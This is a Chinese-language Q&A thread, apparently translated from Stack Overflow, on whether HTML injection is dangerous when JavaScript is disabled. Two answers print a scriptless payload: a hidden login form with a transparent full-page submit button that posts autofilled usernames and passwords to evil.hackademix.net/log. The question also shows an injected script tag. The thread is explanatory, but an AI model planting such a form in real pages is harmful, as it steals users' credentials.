代码之家  ›  专栏  ›  技术社区  ›  robjmills

禁用JavaScript时XSS攻击

  •  2
  • robjmills  · 技术社区  · 14 年前

    问题来自一个地方,未初始化的URL内容被写入锚定标记href。因此,禁用JS后,您可能会遇到如下情况:

    <a href="foor.php?"><script>alert('foo')</script>#someanchor" ..
    

    启用JavaScript后,此href将更新为this(在dom就绪时):

    <a href="javascript:;">link</a>
    

    因此,启用JS后,链接将不再被注入,禁用JS后,警报将不再执行。

    5 回复  |  直到 14 年前
        1
  •  2
  •   Fenton    14 年前

    <a href="default_for_javascript_disabled" id="speciallink">link</a>
    
    <script type="text/javascript">
        var link = document.getElementById("speciallink");
        link.href = "value_for_javascript_enabled";
    </script>
    
        2
  •  1
  •   Mads Hansen    14 年前

    如果您的站点有一个登录表单,并且用户启用了密码自动填充,那么我可能需要注入如下内容:

    <form action="http://evil.hackademix.net/log" method="POST">
    <div style="position: absolute; top: -5000px">
    <input type="text" name="username">
    <input type="password" name="password">
    </div>
    <input type="submit" value="pwn me" 
    style="opacity: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%;"
    >
    </form>
    

    只要用户单击页面上的任何位置,他的凭据就会登录到我的网站:) 它不是严格意义上的XSS(除非你考虑HTML+CSS“脚本化”的概念),但它几乎同样邪恶。

        3
  •  0
  •   Piotr Rochala    14 年前

    过于依赖JavaScript

    想象一下,当你有某种可点击的按钮时,你想在页面加载/标签更改等使用JavaScript更改的CSS时对用户隐藏它。

    躲藏 开始使用CSS是个坏主意,但这又取决于我们的按钮有什么样的功能)。

    其他示例:

    <a href="/nice/clean/url/" onclick="Update.Panel.Using(Ajax); return false;">Next Page</a>
    

    正如您所看到的,当JavaScript被禁用时,用户将被重定向到链接的url,并且更新面板操作将不会被执行。大多数情况下,您使用这个技巧将网站爬虫从href标记重定向到正确的页面,并以不同的方式对待用户,因为在他们的浏览器上JavaScript是打开的,所以您可以做一些“很酷的事情”。

    我不确定这是否正确地回答了您的问题,但总的来说-只要确保功能被复制/工作方式与打开JavaScript时相同。

        4
  •  0
  •   Kornel    14 年前

    如果是在服务器端进行的,那么它必须基于一些预先检测,这并不是完全准确的。攻击者可能会用CSRF欺骗检测(例如,打开受害者) example.com/?disabled_js=1 在被重定向到XSS易受攻击的页面之前)。

    如果你在客户端做,那么已经太迟了,因为注入的HTML将在你的脚本运行之前被解析。

    要回答您的问题,当用户禁用JS时,XSS是不可能的。然而,还有其他攻击,比如网络钓鱼和CSRF,HTML注入也有帮助。

        5
  •  -1
  •   Giorgio Maone    14 年前

    但是,恶意的无脚本HTML注入可能如下所示:

    <form action="http://evil.hackademix.net/log" method="POST">
        <div style="position: absolute; top: -5000px">
        <input type="text" name="username">
        <input type="password" name="password">
        </div>
        <input type="submit" value="pwn me" 
        style="opacity: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%;"
        >
    </form>
    

    更不用说你可以使用或元素做的好事了。。。